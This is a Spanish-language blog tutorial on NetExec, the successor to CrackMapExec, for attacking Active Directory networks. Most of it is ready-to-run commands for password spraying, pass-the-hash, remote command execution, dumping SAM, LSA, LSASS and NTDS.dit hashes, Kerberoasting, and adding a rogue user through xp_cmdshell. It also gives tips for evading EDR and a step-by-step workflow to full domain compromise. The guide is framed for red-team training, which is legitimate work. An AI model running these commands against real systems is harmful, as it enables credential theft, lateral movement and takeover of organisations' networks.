CrackMapExec está muerto. Larga vida a NetExec.
Si llevas algunos años en seguridad ofensiva, CrackMapExec (CME) probablemente fue una de las primeras herramientas que aprendiste. Se convirtió en el estándar para enumeración de Active Directory, pruebas de credenciales y movimiento lateral — todo empaquetado en un único framework con salida limpia y diseño agnóstico de protocolo.
En 2023, el autor original archivó el proyecto. La comunidad lo bifurcó y siguió desarrollándolo bajo un nuevo nombre: NetExec (nxc). Mismo ADN, mantenimiento activo y compatible con todo lo que hacía CME.
Esta guía lo cubre todo: instalación, cada protocolo principal, ataques de credenciales, movimiento lateral y cómo integrar NetExec en un red team real en 2026.
¿Qué es NetExec?
NetExec es una navaja suiza para operaciones ofensivas contra Active Directory. Permite:
- Enumerar hosts, usuarios, recursos compartidos y políticas a través de SMB, LDAP, WinRM, MSSQL, RDP, SSH, FTP y más
- Probar credenciales en redes grandes de forma eficiente
- Ejecutar comandos de forma remota con credenciales válidas
- Volcar SAM, LSA, NTDS y otros almacenes de credenciales
- Realizar ataques pass-the-hash y pass-the-ticket
- Mapear rutas de ataque en dominios completos
Está construido en Python, corre en Linux y produce resultados con código de colores limpio. Verde significa éxito. Rojo significa fallo. Amarillo suele ser informativo. Una vez que aprendes el patrón de salida, puedes procesar resultados de cientos de hosts rápidamente.
GitHub: https://github.com/Pennyw0rth/NetExec
Instalación
Recomendado: pipx (método más limpio)
sudo apt update && sudo apt install -y pipx
pipx install netexec
pipx ensurepath
Reinicia el shell o recarga tu perfil, luego verifica:
nxc --version
Desde el código fuente
git clone https://github.com/Pennyw0rth/NetExec
cd NetExec
pip install .
nxc --version
Kali Linux (apt)
sudo apt update
sudo apt install netexec
El paquete de Kali puede estar desactualizado respecto a la última versión. Para pruebas activas, usa pipx para mantenerte al día.
Conceptos Básicos
Antes de profundizar en los protocolos, comprende la estructura de comandos de NetExec:
nxc <protocolo> <objetivo(s)> [opciones]
Protocolos: smb, ldap, winrm, mssql, rdp, ssh, ftp, vnc, wmi
Formatos de objetivo:
nxc smb 192.168.1.10 # Host único
nxc smb 192.168.1.0/24 # Subred
nxc smb 192.168.1.1-50 # Rango
nxc smb targets.txt # Archivo con objetivos
Formatos de credenciales:
-u usuario -p contraseña # Texto plano
-u usuario -H HASH_NTLM # Pass-the-hash
-u usuarios.txt -p 'Password123' # Lista de usuarios spray
-u usuarios.txt -p passwords.txt # Relleno de credenciales
--no-bruteforce # Emparejar usuario:contraseña (mismo índice)
SMB — El Protocolo Principal
SMB es donde comienza la mayoría de los compromisos de AD. NetExec lo hace sencillo.
Descubrimiento de hosts y fingerprinting del SO
nxc smb 192.168.1.0/24
Esto te da hostname, versión del SO, dominio, estado de firma SMB — sin credenciales. SMB signing deshabilitado significa que los ataques de relay son viables.
Enumeración con sesión nula
nxc smb 192.168.1.10 -u '' -p '' --shares
nxc smb 192.168.1.10 -u '' -p '' --users
nxc smb 192.168.1.10 -u '' -p '' --groups
Algunos entornos permiten sesiones de invitado o nulas. Siempre hay que verificar.
Validar credenciales
nxc smb 192.168.1.0/24 -u administrator -p 'Summer2026!'
[+] verde significa válido. (Pwn3d!) significa administrador local. Eso es el jackpot.
Enumerar recursos compartidos
nxc smb 192.168.1.10 -u jsmith -p 'Password1' --shares
Busca recursos compartidos no predeterminados: SYSVOL tiene datos de GPO, NETLOGON tiene scripts y los recursos personalizados suelen tener archivos sensibles.
Rastrear recursos compartidos buscando archivos interesantes
nxc smb 192.168.1.10 -u jsmith -p 'Password1' -M spider_plus
nxc smb 192.168.1.10 -u jsmith -p 'Password1' -M spider_plus -o READ_ONLY=false
spider_plus indexa recursivamente los recursos compartidos. Agrega -o READ_ONLY=false para descargar archivos directamente.
Listar usuarios conectados
nxc smb 192.168.1.10 -u jsmith -p 'Password1' --loggedon-users
Muestra quién está conectado actualmente. Clave para encontrar objetivos de sesión — si un DA está conectado a una estación de trabajo, esa es tu ruta.
Enumerar usuarios del dominio desde SMB
nxc smb 192.168.1.10 -u jsmith -p 'Password1' --users
Password Spraying
El password spraying consiste en probar una (o pocas) contraseña contra muchos usuarios. Bajo riesgo de bloqueo si se hace correctamente.
Spray con contraseña única
nxc smb 192.168.1.0/24 -u usuarios.txt -p 'Summer2026!' --continue-on-success
--continue-on-success continúa después de un acierto — esencial para sprays.
Verificar la política de bloqueo primero
nxc smb 192.168.1.10 -u jsmith -p 'Password1' --pass-pol
Siempre revisa la política de contraseñas del dominio antes de hacer spraying. Conoce el umbral de bloqueo y la ventana de observación.
Temporización inteligente del spray
Si la política bloquea después de 5 intentos en 30 minutos, espacía los sprays al menos 31 minutos entre cada uno.
Múltiples contraseñas sin fuerza bruta
# Probar user1:pass1, user2:pass2 (sin cruce)
nxc smb 192.168.1.10 -u usuarios.txt -p passwords.txt --no-bruteforce --continue-on-success
Pass-the-Hash
¿Sin contraseña en texto plano? No hay problema. Los hashes NTLM funcionan directamente.
nxc smb 192.168.1.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
El formato del hash es LM:NT. En sistemas modernos, LM está deshabilitado — usa aad3b435b51404eeaad3b435b51404ee (hash LM vacío) más el hash NT real.
Verificar reutilización del administrador local en la subred
nxc smb 192.168.1.0/24 -u administrator -H <NT_HASH> --local-auth
--local-auth prueba contra cuentas locales en vez de cuentas de dominio. Esta es la clásica verificación de reutilización del administrador local — si el mismo hash funciona en 40 máquinas, tienes movimiento lateral en todas partes.
Ejecución Remota
Una vez que tienes credenciales válidas y acceso de administrador local, puedes ejecutar comandos.
Ejecución de comandos vía SMB
nxc smb 192.168.1.10 -u administrator -p 'Password1' -x "whoami"
nxc smb 192.168.1.10 -u administrator -p 'Password1' -x "net user"
nxc smb 192.168.1.10 -u administrator -p 'Password1' -x "ipconfig /all"
Ejecución de PowerShell
nxc smb 192.168.1.10 -u administrator -p 'Password1' -X "Get-Process"
nxc smb 192.168.1.10 -u administrator -p 'Password1' -X "Get-ADUser -Filter * | Select Name,SamAccountName"
Ejecutar en toda la subred
nxc smb 192.168.1.0/24 -u administrator -p 'Password1' -x "hostname" --no-output
Volcado de Credenciales
Aquí es donde NetExec se vuelve realmente peligroso. Con acceso de administrador local, puedes extraer almacenes de credenciales.
Base de datos SAM (cuentas locales)
nxc smb 192.168.1.10 -u administrator -p 'Password1' --sam
Vuelca los hashes de usuarios locales de la base de datos SAM.
Secretos LSA
nxc smb 192.168.1.10 -u administrator -p 'Password1' --lsa
Los secretos LSA pueden contener credenciales de cuentas de servicio, contraseñas de inicio de sesión automático y credenciales de dominio en caché.
Memoria LSASS (credenciales en vivo)
nxc smb 192.168.1.10 -u administrator -p 'Password1' -M lsassy
nxc smb 192.168.1.10 -u administrator -p 'Password1' -M nanodump
Estos módulos extraen credenciales de la memoria LSASS. lsassy es el más común. Obtendrás hashes NTLM y, en algunos casos, contraseñas en texto claro (tickets Kerberos, WDigest si está habilitado).
NTDS.dit (controlador de dominio — todos los hashes del dominio)
nxc smb 192.168.1.10 -u administrator -p 'Password1' --ntds
Ejecuta esto contra un DC. Vuelca el NTDS.dit completo — el hash de cada cuenta del dominio. Esto es un compromiso total del dominio con un solo comando.
Ejecutar en toda la subred
nxc smb 192.168.1.0/24 -u administrator -H <NT_HASH> --sam --continue-on-success
Vuelca SAM de cada máquina donde funcione el hash. Recopila hashes únicos y empieza a crackear o a pasarlos.
Enumeración LDAP
LDAP te da todo lo que sabe el controlador de dominio. Con credenciales de dominio válidas, es una mina de oro.
Información básica del dominio
nxc ldap 192.168.1.10 -u jsmith -p 'Password1' --info
Enumerar usuarios
nxc ldap 192.168.1.10 -u jsmith -p 'Password1' --users
Encontrar cuentas susceptibles a AS-REP Roasting
nxc ldap 192.168.1.10 -u jsmith -p 'Password1' --asreproast output.txt
Encuentra cuentas con “No requiere preautenticación Kerberos” configurado. Crackea los hashes resultantes offline con Hashcat.
Encontrar cuentas susceptibles a Kerberoasting
nxc ldap 192.168.1.10 -u jsmith -p 'Password1' --kerberoasting output.txt
Obtiene tickets TGS para todos los SPNs. Crackea con Hashcat (-m 13100). Las cuentas de servicio suelen tener contraseñas débiles.
Encontrar usuarios con delegación sin restricciones
nxc ldap 192.168.1.10 -u jsmith -p 'Password1' --trusted-for-delegation
Las máquinas o usuarios con delegación sin restricciones son objetivos de alto valor — cualquier TGT que los acceda puede ser capturado.
Contraseña en el campo de descripción
nxc ldap 192.168.1.10 -u jsmith -p 'Password1' -M get-desc-users
Sorprendentemente común. El helpdesk coloca una contraseña en el campo de descripción del usuario y se olvida de ella.
Encontrar administradores del dominio
nxc ldap 192.168.1.10 -u jsmith -p 'Password1' --groups "Domain Admins"
WinRM
WinRM te da una shell de PowerShell sobre HTTP(S). Si un usuario está en el grupo Remote Management Users, estás dentro.
nxc winrm 192.168.1.0/24 -u jsmith -p 'Password1'
(Pwn3d!) confirma acceso WinRM. Accede a la shell con Evil-WinRM:
evil-winrm -i 192.168.1.10 -u jsmith -p 'Password1'
Pass-the-hash con WinRM:
nxc winrm 192.168.1.10 -u administrator -H <NT_HASH>
evil-winrm -i 192.168.1.10 -u administrator -H <NT_HASH>
MSSQL
SQL Server es común en entornos empresariales y frecuentemente se ejecuta como cuenta de servicio privilegiada.
Enumerar servidores SQL
nxc mssql 192.168.1.0/24
Autenticarse
nxc mssql 192.168.1.10 -u sa -p 'Password1'
nxc mssql 192.168.1.10 -u 'DOMINIO\jsmith' -p 'Password1' --windows-auth
Ejecutar comandos del SO via xp_cmdshell
nxc mssql 192.168.1.10 -u sa -p 'Password1' -x "whoami"
nxc mssql 192.168.1.10 -u sa -p 'Password1' -x "net user hacker P@ssw0rd /add"
xp_cmdshell ejecuta comandos como la cuenta de servicio SQL. Si esa es NT AUTHORITY\SYSTEM o una cuenta de servicio de dominio, el panorama cambia drásticamente.
RDP
nxc rdp 192.168.1.0/24 -u administrator -p 'Password1'
Valida acceso RDP. No abre una sesión gráfica. Usa xfreerdp o Remmina para acceso interactivo:
xfreerdp /u:administrator /p:'Password1' /v:192.168.1.10
SSH
nxc ssh 192.168.1.0/24 -u root -p 'toor'
nxc ssh 192.168.1.0/24 -u admin -p passwords.txt --continue-on-success
Trabajo con Módulos
NetExec tiene una biblioteca de módulos en constante crecimiento. Lista todos los módulos disponibles:
nxc smb -L
nxc ldap -L
nxc mssql -L
Módulos SMB destacados
| Módulo | Descripción |
|---|---|
lsassy | Volcar credenciales LSASS |
nanodump | Volcado LSASS sigiloso |
spider_plus | Indexar recursivamente todos los recursos compartidos |
get_netconnections | Conexiones de red activas |
handlekatz | Volcado LSASS via duplicación de handles |
procdump | Volcar LSASS via procdump |
bloodhound | Recopilar datos de BloodHound |
Módulos LDAP destacados
| Módulo | Descripción |
|---|---|
get-desc-users | Encontrar contraseñas en campos de descripción |
maq | Cuota de cuentas de máquina |
pre2k | Cuentas de compatibilidad Pre-Windows 2000 |
adcs | Enumerar ADCS (servicios de certificados) |
Ejecutar un módulo
nxc smb 192.168.1.10 -u administrator -p 'Password1' -M lsassy
nxc ldap 192.168.1.10 -u jsmith -p 'Password1' -M adcs
Pasa opciones del módulo con -o:
nxc smb 192.168.1.10 -u administrator -p 'Password1' -M spider_plus -o READ_ONLY=false DOWNLOAD_FLAG=true
Recolección BloodHound vía NetExec
NetExec puede recopilar datos de BloodHound directamente:
nxc ldap 192.168.1.10 -u jsmith -p 'Password1' --bloodhound -ns 192.168.1.10 -c All
Esto recopila usuarios, grupos, computadoras, sesiones, ACLs y confianzas — todo desde un único comando. Importa los archivos JSON en BloodHound para análisis de rutas de ataque.
Consulta la Guía Completa de BloodHound para el flujo de análisis completo.
Base de Datos de NetExec
Cada resultado que NetExec encuentra se almacena en una base de datos SQLite local. Consúltala en cualquier momento:
nxc smb --list-hosts # Todos los hosts descubiertos
nxc smb --list-creds # Todas las credenciales válidas
O consulta directamente:
nxcdb
La base de datos persiste entre ejecuciones. Puedes volver a ella a mitad de un compromiso sin tener que volver a ejecutar todo.
Flujo de Ataque Práctico
Así es como NetExec encaja en un compromiso real:
Fase 1: Descubrimiento (sin credenciales)
# Encontrar hosts, versiones del SO, firma SMB
nxc smb 10.10.10.0/24
# Probar sesiones nulas
nxc smb 10.10.10.0/24 -u '' -p '' --shares
nxc smb 10.10.10.0/24 -u '' -p '' --users
Fase 2: Punto de entrada inicial
# Verificar política de contraseñas
nxc smb 10.10.10.10 -u '' -p '' --pass-pol
# Password spray (después de revisar la política)
nxc smb 10.10.10.0/24 -u usuarios.txt -p 'Summer2026!' --continue-on-success
Fase 3: Enumerar como usuario de dominio
# Mapear el dominio
nxc ldap 10.10.10.10 -u jsmith -p 'Summer2026!' --users --groups
# Encontrar rutas de ataque
nxc ldap 10.10.10.10 -u jsmith -p 'Summer2026!' --kerberoasting kerberoast.txt
nxc ldap 10.10.10.10 -u jsmith -p 'Summer2026!' --asreproast asrep.txt
nxc ldap 10.10.10.10 -u jsmith -p 'Summer2026!' --trusted-for-delegation
Fase 4: Movimiento lateral
# Verificar administrador local en toda la subred
nxc smb 10.10.10.0/24 -u jsmith -p 'Summer2026!' --local-auth
# ¿Dónde está el admin conectado? Encontrar sesiones activas
nxc smb 10.10.10.0/24 -u jsmith -p 'Summer2026!' --loggedon-users
# Volcar credenciales donde tengas acceso de admin
nxc smb 10.10.10.10 -u jsmith -p 'Summer2026!' -M lsassy
Fase 5: Escalada a dominio
# Pasar hashes encontrados en la salida de lsassy
nxc smb 10.10.10.0/24 -u administrator -H <HASH> --local-auth
# Atacar el DC con volcado NTDS
nxc smb 10.10.10.1 -u administrator -p 'Password1' --ntds
Consideraciones de Evasión
NetExec es ruidoso por defecto. Los IDs de evento 4624, 4625, 4776 se disparan con cada intento de autenticación. Para compromisos enfocados en el sigilo:
- Ralentiza las pruebas de credenciales. Agrega pausas entre intentos.
- Evita sprays masivos contra hosts con EDR. Las detecciones de comportamiento capturan eventos de autenticación de alto volumen.
- Usa autenticación Kerberos donde sea posible — más silenciosa que NTLM.
- Limita la interacción con LSASS. Usa módulos como
nanodumpohandlekatzque evitan lecturas directas de LSASS cuando hay EDR presente. - Usa LDAP para enumeración sobre SMB cuando sea posible — menos eventos, mismos datos.
# Autenticación Kerberos (configurar /etc/hosts o usar --kdcHost)
nxc smb 10.10.10.10 -u jsmith -p 'Password1' --kerberos
CME vs NetExec: ¿Qué Cambió?
Si estás migrando desde CrackMapExec:
| CrackMapExec | NetExec |
|---|---|
cme | nxc |
crackmapexec | netexec |
| Mismos módulos | Biblioteca de módulos expandida |
| Archivado, sin actualizaciones | Mantenimiento activo |
Todo lo demás es esencialmente igual. Los comandos son casi idénticos. La memoria muscular se transfiere directamente.
Laboratorio de Práctica
Necesitas un laboratorio AD real para practicar. Opciones:
- Vultr o DigitalOcean — Despliega Windows Server 2022 + VMs cliente rápidamente. Más barato que ejecutar hardware físico. Obtén $100 en Vultr →
- GOAD (Game of Active Directory) — Laboratorio AD vulnerable pre-construido que puedes desplegar localmente o en un VPS
- Hack The Box / Pro Labs — Entornos empresariales realistas, sin configuración requerida
Para laboratorios basados en VPS, consulta la guía VPS vs Home Lab .
Resumen
NetExec es el sucesor vivo de CrackMapExec. Si trabajas en entornos de Active Directory — ofensivo o defensivo — necesitas conocer esta herramienta a la perfección.
El flujo de trabajo es consistente: descubrir hosts, probar credenciales con cuidado, enumerar como usuario de dominio, encontrar rutas de escalada de privilegios y moverse lateralmente hasta alcanzar los objetivos. NetExec hace la mayor parte del trabajo pesado.
También se combina naturalmente con BloodHound (para visualizar rutas de ataque) y herramientas como Impacket, Mimikatz y Evil-WinRM para ejecución y persistencia. Para una secuencia completa de ataque AD, consulta el playbook de Movimiento Lateral en Active Directory cuando esté disponible.
¿Necesitas Contenido de Seguridad de Nivel Profesional?
Si estás construyendo un programa de seguridad y necesitas contenido técnico de alta calidad — posts de blog, whitepapers, materiales de formación — echa un vistazo a CipherWrite . Contenido de ciberseguridad escrito por profesionales, no por generalistas.
